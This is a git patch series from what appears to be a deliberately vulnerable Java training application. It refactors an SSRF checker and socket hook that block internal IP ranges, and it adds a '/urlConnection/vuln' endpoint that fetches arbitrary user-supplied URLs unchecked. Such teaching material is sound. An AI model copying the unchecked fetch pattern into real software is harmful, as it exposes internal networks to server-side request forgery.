- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected void connect(SocketAddress address, int timeout) throws IOException {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString());
- //start check SSRF
- if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
- throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString());
- }
-
- try
- {
- this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout);
- }
- catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected void bind(InetAddress host, int port) throws IOException {
- try
- {
- this.bindImpl.invoke( this.socketImpl, host, port);
- }
- catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected void listen(int backlog) throws IOException {
-
- try
- {
- this.listenImpl.invoke( this.socketImpl, backlog);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected void accept(SocketImpl s) throws IOException {
-
- try
- {
- this.acceptImpl.invoke( this.socketImpl, s);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected InputStream getInputStream() throws IOException {
- InputStream inStream = null;
-
- try
- {
- inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl);
- }
- catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex )
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- return inStream;
- }
-
- @Override
- protected OutputStream getOutputStream() throws IOException {
- OutputStream outStream = null;
-
- try
- {
- outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl);
- }
- catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex )
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- return outStream;
- }
-
- @Override
- protected int available() throws IOException {
- int result = -1;
-
- try
- {
- result = (Integer)this.availableImpl.invoke( this.socketImpl);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- return result;
- }
-
- @Override
- protected void close() throws IOException {
- try
- {
- this.closeImpl.invoke( this.socketImpl);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- @Override
- protected void shutdownInput() throws IOException {
- try
- {
- this.shutdownInputImpl.invoke( this.socketImpl);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- }
-
- @Override
- protected void shutdownOutput() throws IOException {
- try
- {
- this.shutdownOutputImpl.invoke( this.socketImpl);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- }
-
- @Override
- protected void sendUrgentData(int data) throws IOException {
- try
- {
- this.sendUrgentDataImpl.invoke( this.socketImpl, data);
- }
- catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
-
- public void setOption(int optID, Object value) throws SocketException {
- if ( null != this.socketImpl )
- {
- this.socketImpl.setOption( optID, value );
- }
- }
-
- public Object getOption(int optID) throws SocketException {
- return this.socketImpl.getOption( optID );
- }
-
- /**
- * dont impl other child method now
- * dont sure where will use it
- **/
-
-
-}
diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java
deleted file mode 100644
index 75d48707..00000000
--- a/src/main/java/org/joychou/security/SocketHookUtils.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package org.joychou.security;
-
-import java.lang.reflect.Method;
-
-public class SocketHookUtils {
-
- /**
- * @Author liergou
- * @Description 轮询父类查找反射方法
- * @Date 1:43 2020/4/4
- * @Param [inputClazz, findName, args]
- * @return java.lang.reflect.Method
- **/
- public static Method findMethod(Class> inputClazz, String findName ,Class>[] args){
- Class> temp=inputClazz;
- Method tmpMethod = null;
- while(temp!=null){
- try{
- tmpMethod = temp.getDeclaredMethod(findName,args);
- tmpMethod.setAccessible(true);
- return tmpMethod;
- }catch (NoSuchMethodException e){
- temp=temp.getSuperclass();
- }
- }
- return null;
- }
-
-}
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
similarity index 77%
rename from src/main/java/org/joychou/security/SSRFChecker.java
rename to src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index ef393074..32373aff 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -1,25 +1,24 @@
-package org.joychou.security;
+package org.joychou.security.ssrf;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+import org.apache.commons.lang.StringUtils;
import org.apache.commons.net.util.SubnetUtils;
import org.joychou.config.WebConfig;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
-class SSRFChecker {
+
+public class SSRFChecker {
private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
- private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)");
- static boolean checkURLFckSSRF(String url) {
- if (null == url){
+ public static boolean checkURLFckSSRF(String url) {
+ if (null == url) {
return false;
}
@@ -37,7 +36,7 @@ static boolean checkURLFckSSRF(String url) {
return true;
}
for (String ssrfSafeDomain : ssrfSafeDomains) {
- if(host.endsWith("." + ssrfSafeDomain)) {
+ if (host.endsWith("." + ssrfSafeDomain)) {
return true;
}
}
@@ -53,20 +52,20 @@ static boolean checkURLFckSSRF(String url) {
* url只允许https或者http,并且设置默认连接超时时间。
* 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续…
*
- * @param url check的url
+ * @param url check的url
* @param checkTimes 设置重定向检测的最大次数,建议设置为10次
* @return 安全返回true,危险返回false
*/
- static boolean checkSSRF(String url, int checkTimes) {
+ public static boolean checkSSRF(String url, int checkTimes) {
HttpURLConnection connection;
- int connectTime = 5*1000; // 设置连接超时时间5s
+ int connectTime = 5 * 1000; // 设置连接超时时间5s
int i = 1;
String finalUrl = url;
try {
do {
// 判断当前请求的URL是否是内网ip
- if (isInnerIPByUrl(finalUrl)) {
+ if (isInternalIpByUrl(finalUrl)) {
logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
return false; // 内网ip直接return,非内网ip继续判断是否有重定向
}
@@ -78,14 +77,14 @@ static boolean checkSSRF(String url, int checkTimes) {
//connection.setRequestMethod("GET");
connection.connect(); // send dns request
int responseCode = connection.getResponseCode(); // 发起网络请求
- if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {
+ if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
String redirectedUrl = connection.getHeaderField("Location");
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
i += 1; // 重定向次数加1
logger.info("redirected url: " + finalUrl);
- if(i == checkTimes) {
+ if (i == checkTimes) {
return false;
}
} else
@@ -104,18 +103,19 @@ static boolean checkSSRF(String url, int checkTimes) {
*
* @return 如果是内网IP,返回true;非内网IP,返回false。
*/
- static boolean isInnerIPByUrl(String url) {
+ public static boolean isInternalIpByUrl(String url) {
+
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
}
String ip = host2ip(host);
- if(ip.equals("")){
+ if (ip.equals("")) {
return true; // 如果域名转换为IP异常,则认为是非法URL
}
- return isInnerIp(ip);
+ return isInternalIp(ip);
}
@@ -125,14 +125,18 @@ static boolean isInnerIPByUrl(String url) {
* @param strIP ip字符串
* @return 如果是内网ip,返回true,否则返回false。
*/
- static boolean isInnerIp(String strIP){
-
- ArrayList blackSubnets= WebConfig.getSsrfBlockIps();
+ static boolean isInternalIp(String strIP) {
+ if (StringUtils.isEmpty(strIP)) {
+ logger.error("[-] SSRF check failed. IP is empty. " + strIP);
+ return true;
+ }
- for (String subnet: blackSubnets) {
+ ArrayList blackSubnets = WebConfig.getSsrfBlockIps();
+ blackSubnets.add("10.0.0.0/8");
+ for (String subnet : blackSubnets) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
- logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
+ logger.error("[-] SSRF check failed. Internal IP: " + strIP);
return true;
}
}
@@ -153,8 +157,7 @@ private static String host2ip(String host) {
try {
InetAddress IpAddress = InetAddress.getByName(host); // send dns request
return IpAddress.getHostAddress();
- }
- catch (Exception e) {
+ } catch (Exception e) {
return "";
}
}
@@ -168,7 +171,7 @@ private static String url2host(String url) {
try {
// 使用URI,而非URL,防止被绕过。
URI u = new URI(url);
- if (!url.startsWith("http://") && ! url.startsWith("https://")) {
+ if (!url.startsWith("http://") && !url.startsWith("https://")) {
return "";
}
@@ -180,13 +183,4 @@ private static String url2host(String url) {
}
- /**
- * 匹配ip
- * @return
- */
- static String getIpFromStr(String ipStr){
- Matcher matcher = IP_PATTERN.matcher(ipStr);
- System.out.println(matcher.find());
- return matcher.group();
- }
}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..b27a970f
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+class SSRFException extends RuntimeException {
+
+ SSRFException(String s) {
+ super(s);
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
similarity index 59%
rename from src/main/java/org/joychou/security/SocketHook.java
rename to src/main/java/org/joychou/security/ssrf/SocketHook.java
index 359e33f3..92b8f496 100644
--- a/src/main/java/org/joychou/security/SocketHook.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -1,16 +1,18 @@
-package org.joychou.security;
+package org.joychou.security.ssrf;
import java.io.IOException;
import java.net.Socket;
import java.net.SocketException;
+
/**
- * @Author liergou
- * @Description Socket hook开关自如
- * @Date 2:12 2020/4/4
- **/
-class SocketHook {
- static void startHook() throws NoSuchFieldException, IOException {
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+ public static void startHook() throws NoSuchFieldException, IOException {
SocketHookFactory.initSocket();
SocketHookFactory.setHook(true);
try{
@@ -19,7 +21,7 @@ static void startHook() throws NoSuchFieldException, IOException {
}
}
- static void stopHook(){
+ public static void stopHook(){
SocketHookFactory.setHook(false);
}
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..51a278b7
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,87 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+ private static Boolean isHook = false;
+ private static Constructor socketConstructor = null;
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * @param set hook switch
+ */
+ static void setHook(Boolean set) {
+ isHook = set;
+ }
+
+
+ /**
+ * initSocket
+ */
+ static void initSocket() {
+ if (socketConstructor != null) {
+ return;
+ }
+
+ Socket socket = new Socket();
+ try {
+ Field implField = Socket.class.getDeclaredField("impl");
+ implField.setAccessible(true);
+ Class> clazz = implField.get(socket).getClass();
+ SocketHookImpl.initSocketImpl(clazz);
+ socketConstructor = clazz.getDeclaredConstructor();
+ socketConstructor.setAccessible(true);
+ } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+ throw new SSRFException("SocketHookFactory init failed!");
+ }
+
+ try {
+ socket.close();
+ } catch (IOException ignored) {
+
+ }
+ }
+
+
+ public SocketImpl createSocketImpl() {
+
+ if (isHook) {
+ try {
+ return new SocketHookImpl(socketConstructor);
+ } catch (Exception e) {
+ logger.error("Socket hook failed!");
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+ } else {
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ logger.error(e.toString());
+ }
+ }
+
+ return null;
+ }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..c3b9c28d
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,270 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+ private static Boolean isInit = false;
+ static private SocketImpl socketImpl = null;
+ static private Method createImpl;
+ static private Method connectHostImpl;
+ static private Method connectInetAddressImpl;
+ static private Method connectSocketAddressImpl;
+ static private Method bindImpl;
+ static private Method listenImpl;
+ static private Method acceptImpl;
+ static private Method getInputStreamImpl;
+ static private Method getOutputStreamImpl;
+ static private Method availableImpl;
+ static private Method closeImpl;
+ static private Method shutdownInputImpl;
+ static private Method shutdownOutputImpl;
+ static private Method sendUrgentDataImpl;
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+ InvocationTargetException, InstantiationException {
+ socketImpl = (SocketImpl) socketConstructor.newInstance();
+ }
+
+
+ /**
+ * Init reflect method.
+ *
+ * @author liergou
+ */
+ static void initSocketImpl(Class> initSocketImpl) {
+
+ if (initSocketImpl == null) {
+ SocketHookFactory.setHook(false);
+ throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+ }
+
+ if (!isInit) {
+ //
+ createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
+ connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
+ connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{InetAddress.class, int.class});
+ connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{SocketAddress.class, int.class});
+ bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class>[]{InetAddress.class, int.class});
+ listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class>[]{int.class});
+ acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class>[]{SocketImpl.class});
+ getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class>[]{});
+ getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class>[]{});
+ availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class>[]{});
+ closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class>[]{});
+ shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class>[]{});
+ shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class>[]{});
+ sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class>[]{int.class});
+ isInit = true;
+ }
+ }
+
+
+ /**
+ * socket base method impl
+ */
+ @Override
+ protected void create(boolean stream) throws IOException {
+ try {
+ createImpl.invoke(socketImpl, stream);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(String host, int port) throws IOException {
+ logger.info("host: " + host + "\tport: " + port);
+ try {
+ connectHostImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(InetAddress address, int port) throws IOException {
+
+ logger.info("InetAddress: " + address.toString());
+
+ try {
+ if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+ throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+ }
+ connectInetAddressImpl.invoke(socketImpl, address, port);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void connect(SocketAddress address, int timeout) throws IOException {
+
+ // convert SocketAddress to InetSocketAddress
+ InetSocketAddress addr = (InetSocketAddress) address;
+
+ String ip = addr.getAddress().getHostAddress();
+ String host = addr.getHostName();
+ logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+ try {
+ if (SSRFChecker.isInternalIp(ip)) {
+ throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+ }
+ connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+ } catch (IllegalAccessException | IllegalArgumentException |
+ InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void bind(InetAddress host, int port) throws IOException {
+ try {
+ bindImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void listen(int backlog) {
+
+ try {
+ listenImpl.invoke(socketImpl, backlog);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void accept(SocketImpl s) throws IOException {
+
+ try {
+ acceptImpl.invoke(socketImpl, s);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected InputStream getInputStream() throws IOException {
+ InputStream inStream = null;
+
+ try {
+ inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | InvocationTargetException |
+ IllegalArgumentException | IllegalAccessException ex) {
+ logger.error(ex.toString());
+ }
+
+ return inStream;
+ }
+
+ @Override
+ protected OutputStream getOutputStream() throws IOException {
+ OutputStream outStream = null;
+
+ try {
+ outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | IllegalArgumentException |
+ IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return outStream;
+ }
+
+ @Override
+ protected int available() throws IOException {
+
+ int result = -1;
+
+ try {
+ result = (Integer) availableImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return result;
+ }
+
+ @Override
+ protected void close() throws IOException {
+ try {
+ closeImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void shutdownInput() throws IOException {
+ try {
+ shutdownInputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void shutdownOutput() throws IOException {
+ try {
+ shutdownOutputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void sendUrgentData(int data) throws IOException {
+ try {
+ sendUrgentDataImpl.invoke(socketImpl, data);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ public void setOption(int optID, Object value) throws SocketException {
+ if (null != socketImpl) {
+ socketImpl.setOption(optID, value);
+ }
+ }
+
+ public Object getOption(int optID) throws SocketException {
+ return socketImpl.getOption(optID);
+ }
+
+ /*
+ * Dont impl other child method now. Don't be sure where will use it.
+ *
+ */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..b94b82d9
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,28 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+ /**
+ * Poll the parent class to find the reflection method.
+ *
+ * @author liergou @2020-04-04 01:43
+ */
+ static Method findMethod(Class> inputClazz, String findName, Class>[] args) {
+
+ Class> temp = inputClazz;
+
+ while (temp != null) {
+ try {
+ Method tmpMethod = temp.getDeclaredMethod(findName, args);
+ tmpMethod.setAccessible(true);
+ return tmpMethod;
+ } catch (NoSuchMethodException e) {
+ temp = temp.getSuperclass();
+ }
+ }
+ return null;
+ }
+
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index b0a59bc1..7cc16e84 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -2,9 +2,11 @@
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
+import java.io.File;
import java.io.IOException;
import java.io.InputStream;
+import com.google.common.base.Preconditions;
import org.springframework.web.util.HtmlUtils;
public class WebUtils {
@@ -30,4 +32,18 @@ public static String getCookieValueByName(HttpServletRequest request, String coo
public static String json2Jsonp(String callback, String jsonStr) {
return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
}
+
+ public static String getFileExtension(String fullName) {
+ Preconditions.checkNotNull(fullName);
+ String fileName = (new File(fullName)).getName();
+ int dotIndex = fileName.lastIndexOf('.');
+ return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
+ }
+
+ public static String getNameWithoutExtension(String file) {
+ Preconditions.checkNotNull(file);
+ String fileName = (new File(file)).getName();
+ int dotIndex = fileName.lastIndexOf('.');
+ return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
+ }
}
From 2aa0b91a1689c341d3a09b93dd070c78bd2ef287 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Mon, 6 Apr 2020 20:47:42 +0800
Subject: [PATCH 20/41] bug fix
---
.../java/org/joychou/controller/SSRF.java | 258 +++++++-----------
.../org/joychou/security/SecurityUtil.java | 2 +-
.../joychou/security/ssrf/SSRFChecker.java | 1 -
.../joychou/security/ssrf/SSRFException.java | 2 +-
.../org/joychou/security/ssrf/SocketHook.java | 2 +-
.../security/ssrf/SocketHookFactory.java | 7 +-
.../joychou/security/ssrf/SocketHookImpl.java | 66 ++---
.../security/ssrf/SocketHookUtils.java | 17 +-
src/main/java/org/joychou/util/HttpUtils.java | 189 +++++++++++++
src/main/java/org/joychou/util/WebUtils.java | 5 +
src/main/resources/templates/index.html | 2 +-
11 files changed, 342 insertions(+), 209 deletions(-)
create mode 100644 src/main/java/org/joychou/util/HttpUtils.java
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index e9c30d0e..12384717 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,19 +1,9 @@
package org.joychou.controller;
-import com.squareup.okhttp.OkHttpClient;
-import org.apache.commons.httpclient.HttpClient;
-import org.apache.commons.httpclient.methods.GetMethod;
-import org.apache.commons.io.IOUtils;
-import org.apache.http.HttpResponse;
-import org.apache.http.HttpStatus;
-import org.apache.http.client.fluent.Request;
-import org.apache.http.client.methods.HttpGet;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClients;
import org.joychou.security.SecurityUtil;
+import org.joychou.security.ssrf.SSRFException;
+import org.joychou.util.HttpUtils;
import org.joychou.util.WebUtils;
-import org.jsoup.Jsoup;
-import org.jsoup.nodes.Document;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -21,8 +11,6 @@
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
-
-import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
@@ -40,58 +28,58 @@ public class SSRF {
private static Logger logger = LoggerFactory.getLogger(SSRF.class);
- @RequestMapping("/urlConnection")
- public static String ssrf_URLConnection(@RequestParam String url) {
- try {
- URL u = new URL(url);
- URLConnection urlConnection = u.openConnection();
- BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
- String inputLine;
- StringBuilder html = new StringBuilder();
- while ((inputLine = in.readLine()) != null) {
- html.append(inputLine);
- }
- in.close();
- return html.toString();
- } catch (Exception e) {
- logger.error(e.toString());
- return "fail";
+ @RequestMapping("/urlConnection/vuln")
+ public static String URLConnectionVuln(String url) {
+ return HttpUtils.URLConnection(url);
+ }
+
+
+ @RequestMapping("/urlConnection/sec")
+ public static String URLConnectionSec(String url) {
+
+ // Decline not http/https protocol
+ if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ return "[-] SSRF check failed";
}
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.URLConnection(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
}
- @RequestMapping("/HttpURLConnection")
+ @RequestMapping("/HttpURLConnection/sec")
@ResponseBody
- public static String ssrf_httpURLConnection(@RequestParam String url) {
+ public static String httpURLConnection(@RequestParam String url) {
try {
- URL u = new URL(url);
- URLConnection urlConnection = u.openConnection();
- HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
- BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
- String inputLine;
- StringBuilder html = new StringBuilder();
-
- while ((inputLine = in.readLine()) != null) {
- html.append(inputLine);
- }
- in.close();
- return html.toString();
- } catch (Exception e) {
- logger.error(e.toString());
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.HTTPURLConnection(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
- @RequestMapping("/Request")
+ // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com
+ @RequestMapping("/request/sec")
@ResponseBody
- public static String ssrf_Request(@RequestParam String url) {
+ public static String request(@RequestParam String url) {
try {
- return Request.Get(url).execute().returnContent().toString();
- } catch (Exception e) {
- logger.error(e.toString());
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.request(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
@@ -106,7 +94,7 @@ public static String ssrf_Request(@RequestParam String url) {
*/
@RequestMapping("/openStream")
@ResponseBody
- public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
+ public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
@@ -136,164 +124,112 @@ public static void ssrf_openStream(@RequestParam String url, HttpServletResponse
}
- @RequestMapping("/ImageIO")
+ @RequestMapping("/ImageIO/sec")
@ResponseBody
- public static void ssrf_ImageIO(@RequestParam String url) {
+ public static String ImageIO(@RequestParam String url) {
try {
- URL u = new URL(url);
- ImageIO.read(u); // send request
- } catch (Exception e) {
- logger.error(e.toString());
+ SecurityUtil.startSSRFHook();
+ HttpUtils.imageIO(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
+ return "ImageIO ssrf test";
}
- @RequestMapping("/okhttp")
+ @RequestMapping("/okhttp/sec")
@ResponseBody
- public static void ssrf_okhttp(@RequestParam String url) throws IOException {
- OkHttpClient client = new OkHttpClient();
- com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
+ public static String okhttp(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
